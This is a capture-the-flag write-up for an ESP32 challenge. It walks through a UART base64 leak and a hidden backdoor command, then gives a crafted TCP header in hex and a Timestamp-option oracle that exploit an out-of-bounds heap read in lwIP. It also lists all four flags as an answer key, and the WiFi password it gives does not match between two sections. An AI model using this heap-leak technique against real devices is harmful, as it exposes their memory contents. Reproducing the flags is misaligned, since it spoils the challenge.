ESPILON-CTF-2026-Writeups/ESP/Phantom_Byte
2026-03-26 17:33:19 +00:00
..
README.md write-up: ESP/Phantom_Byte/README.md 2026-03-26 17:33:19 +00:00

Phantom Byte

Field Value
Category ESP
Difficulty Multi-part (Easy to Hard)
Points 100 / 200 / 300 / 500 (4 flags)
Author Eun0us
CTF Espilon 2026

Description

An ESP32 device was seized during a raid on an underground hackerspace. It is a relay node for a mesh network called "The Wire".

The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.

Peel back the layers. Extract every secret this node is hiding.

WiFi: Phantom_Node / thewire2026 Service: tcp://192.168.4.1:1337

"Close this world. Open the nEXt."


TL;DR

Four-layer progressive challenge based on a real lwIP vulnerability in tcp_get_next_optbyte(). Layer 1: read base64 from UART boot log. Layer 2: find a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4: blind extraction using the TCP Timestamp option as an oracle.


Tools

Tool Purpose
esptool.py Flash firmware to ESP32
screen / minicom Read UART boot log
nc Connect to TCP service on port 1337
Python 3 Automated exploit / solve script

Flags Summary

Flag Name Points Value
1/4 Signal 100 ESPILON{u4rt_s33s_4ll}
2/4 Backdoor 200 ESPILON{h1dd3n_c0nf1g}
3/4 Memory Bleed 300 ESPILON{ph4nt0m_byt3_h34p_l34k}
4/4 Blind Oracle 500 ESPILON{bl1nd_str4ddl3}

Solution

Setup

Flash firmware, connect to WiFi AP Phantom_Node / thewire2024, then:

nc 192.168.4.1 1337

Flag 1 — Signal (100 pts)

Monitor the UART output during boot. Among the diagnostic lines:

[    0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9

Decode the base64:

echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
# ESPILON{u4rt_s33s_4ll}

📸 [screenshot: UART terminal showing the base64 diagnostic line on boot]

Submit over TCP:

ph> unlock ESPILON{u4rt_s33s_4ll}
>> sequence accepted.
>> layer 2 unlocked. you're getting closer to the wire.

Flag 2 — Backdoor (200 pts)

In layer 2, help lists the documented commands. The mem output hints:

ph> mem
>> secrets cached in the wire

And info shows:

>> backdoor: [CLASSIFIED]

The hidden command is wire:

ph> wire
>> accessing the wire...
>> config_cache dump:
>> ESPILON{h1dd3n_c0nf1g}

📸 [screenshot: wire command revealing the hidden config cache contents]

Submit:

ph> unlock ESPILON{h1dd3n_c0nf1g}
>> layer 3 unlocked. careful. the deeper you go, the less you come back.

Flag 3 — Memory Bleed (300 pts)

In layer 3, enable debug tracing:

ph> trace on
>> trace enabled.

The vulnerability: tcp_get_next_optbyte() uses doff * 4 as the claimed option length without checking that it stays within the actual received segment bytes. Build a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):

Bytes 12-13: F002  (doff=15, flags=SYN)
Full: 053900500000000100000000f002ffff00000000
ph> inject 053900500000000100000000f002ffff00000000

The trace output shows each out-of-bounds byte read from the adjacent config_cache:

[TRACE] tcp_get_next_optbyte:
  [ 20] 0x45 << oob
  [ 21] 0x53 << oob
  [ 22] 0x50 << oob
  [ 23] 0x49 << oob
  ...

Convert the oob bytes to ASCII: ESPILON{ph4nt0m_byt3_h34p_l34k}

📸 [screenshot: trace output showing oob bytes reading the flag from heap]


Flag 4 — Blind Oracle (500 pts)

Disable trace output — no more per-byte visibility:

ph> trace off

The vulnerability still exists, but now the only feedback is the parsed option values emitted as structured output. Use the TCP Timestamp option (kind=8, len=10) to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB heap memory, but their values are returned as decimal numbers in the response.

Extraction technique:

Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes are read from the adjacent flag buffer.

  • Chunk 1 (bytes 07): >> opt: TS=1163150159/1280267387

    • 1163150159 = 0x45535049ESPI
    • 1280267387 = 0x4C4F4E7BLON{
  • Chunk 2 (bytes 815): decode TSval/TSecr → bl1n / d_st

  • Chunk 3 (bytes 1622): decode TSval/TSecr → r4dd / l3}\x00

Reconstruct: ESPILON{bl1nd_str4ddl3}

📸 [screenshot: inject command returning TS values that decode to flag bytes]

Automated solver:

python3 solve.py 192.168.4.1 1337

Real-world Context

This challenge is based on a real vulnerability found in lwIP 2.1.3 (ESP-IDF v5.3). The function tcp_get_next_optbyte() in tcp_in.c does not validate that the option index stays within the pbuf's actual payload length. A remote attacker can send a crafted TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.


Flag

  • Flag 1: ESPILON{u4rt_s33s_4ll}
  • Flag 2: ESPILON{h1dd3n_c0nf1g}
  • Flag 3: ESPILON{ph4nt0m_byt3_h34p_l34k}
  • Flag 4: ESPILON{bl1nd_str4ddl3}